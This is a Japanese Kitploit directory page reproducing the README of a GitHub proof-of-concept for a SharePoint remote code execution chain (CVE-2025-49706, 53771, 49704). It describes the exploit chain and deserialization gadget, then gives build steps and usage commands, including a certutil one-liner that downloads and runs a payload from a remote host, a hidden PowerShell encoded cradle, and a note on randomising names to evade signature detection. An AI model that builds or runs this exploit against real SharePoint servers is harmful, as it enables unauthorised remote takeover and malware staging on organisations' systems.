Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
OurSharePoint-CVE-2025-53770 — 本当にSharePointは安全だと思いますか? | Kitploit
ツール/GitHubGitHub/rabbitbong/oursharepoint-cve-2025-53770
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミング
GitHubrabbitbong/oursharepoint-cve-2025-53770

OurSharePoint-CVE-2025-53770

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

本当にSharePointは安全だと思いますか?

リポジトリを見る
216ヶ月前未レビュー

OurSharePoint — CVE-2025-53770 PoC

自己完結型のシングルバイナリSharePoint RCEツール。TypeConfuseDelegateガジェットチェーンを生のMS-NRBFバイトとして生成し(ysoserial.exe不要)、DataSet逆シリアル化ペイロードでラップして、認証バイパスを利用してHTTPで配信します — すべてワンショットで。


エクスプロイトチェーン

StepCVE説明
1CVE-2025-49706認証バイパス — Referer: /_layouts/SignOut.aspx がSharePoint認証をスキップする
2CVE-2025-53771パッチバイパス — ToolPane.aspx の後の末尾パスセグメントが2025年7月の修正を回避
3CVE-2025-49704逆シリアル化 — ExcelDataSet.CompressedDataTable が細工された DataSet 上で BinaryFormatter をトリガーする
4—DataSet スキーマが ExpandedWrapper + ObjectDataProvider を介して内部ペイロード上で LosFormatter.Deserialize() を強制する
5—TypeConfuseDelegate — SortedSet<string> の比較子が Process.Start(string, string) であり、cmd /c <command> を実行する

バイナリストリーム全体(外側のDataSetラッパーと内側のTypeConfuseDelegateガジェットの両方)は、生のMS-NRBFレコードとして構築されます — .NETランタイムシリアル化は使用されません。これは、Metasploitモジュールが生成する形式とバイト単位で一致します。


ビルド

.NET Framework 4.8 SDKが必要です(Visual Studio 2022 またはスタンドアロンのBuild Tools)。

root@kitploit:~
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release

出力: OurSharePoint\bin\Release\OurSharePoint.exe (単一ファイル、依存関係なし)


使用方法

ワンショット: ステージングと実行

root@kitploit:~
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com

単純なコマンド実行

root@kitploit:~
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com

PowerShellクラドル

root@kitploit:~
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com

偵察のみ(ペイロードなし)

root@kitploit:~
OurSharePoint.exe --target=https://sp.corp.com --check

ペイロードファイルのオフラインビルド

root@kitploit:~
OurSharePoint.exe --cmd="calc.exe" --out=exploit

プロキシ使用時(Burp)

root@kitploit:~
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080

レガシー: 外部ysoserial.exeペイロード

root@kitploit:~
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com

オプション


出力ファイル

--out が使用された場合、ツールは以下を書き込みます:

ファイル内容
<prefix>.bin生のBinaryFormatter DataSetストリーム
<prefix>.b64GZip + Base64エンコード(CompressedDataTable に入るもの)

影響を受けるバージョン

エディション脆弱な範囲
SharePoint Server Subscription Edition16.0.14326.20450 – 16.0.18526.20424
SharePoint Server 201916.0.10337.12109 – 16.0.10417.20027
SharePoint Enterprise Server 201616.0.4351.1000 – 16.0.5508.1000
SharePoint Server 201315.0.4481.1005 – 15.0.5545.1000

実装ノート

  • ランタイムシリアル化なし — DataSetラッパーとTypeConfuseDelegateガジェットの両方が、BinaryWriterを使用して生のMS-NRBFバイナリレコードとして書き込まれます。これにより、.NETランタイムシリアル化出力とターゲットのデシリアライザが期待するものとの差異が回避されます。
  • LosFormatterフレーミング — 内部ガジェットは、LosFormatter.Serialize() を使用する代わりに、ObjectStateFormatter ヘッダーバイト(0xFF 0x01 0x32 + 7ビット長)でラップされます。
  • 単一バイナリ — 外部ツール、DLL、Pythonスクリプトは不要です。.exeは完全に自己完結型です。
  • ランダム化 — XMLタグプレフィックスとDataSet要素名は、実行ごとにランダム化され、シグネチャ検出を回避します。

参考資料

  • Eye Security — SharePoint包囲網
  • Metasploit PR #20409 — sharepoint_toolpane_rce
  • MS-NRBF仕様
  • pwntester/ysoserial.net — TypeConfuseDelegate
ツールをダウンロード
フラグ説明デフォルト
--cmd=COMMAND実行するコマンド(cmd /c COMMAND として実行)—
--in=FILE事前にビルドされたbase64 LosFormatterペイロードファイル—
--target=URLHTTP配信用のSharePointベースURL—
--checkバージョンのフィンガープリントのみ、ペイロードなし—
--out=PREFIX出力ファイルのプレフィックスpayload
--sp-version=VERLayoutsパスのバージョン(15 または 16)15
--proxy=URLHTTPプロキシ—
--ua=STRINGカスタムUser-AgentFirefox 120
--referer=URL認証バイパスのRefererを上書きauto
--timeout=SECHTTPタイムアウト15
--a/b/c=NAMEDataSet/要素/列名random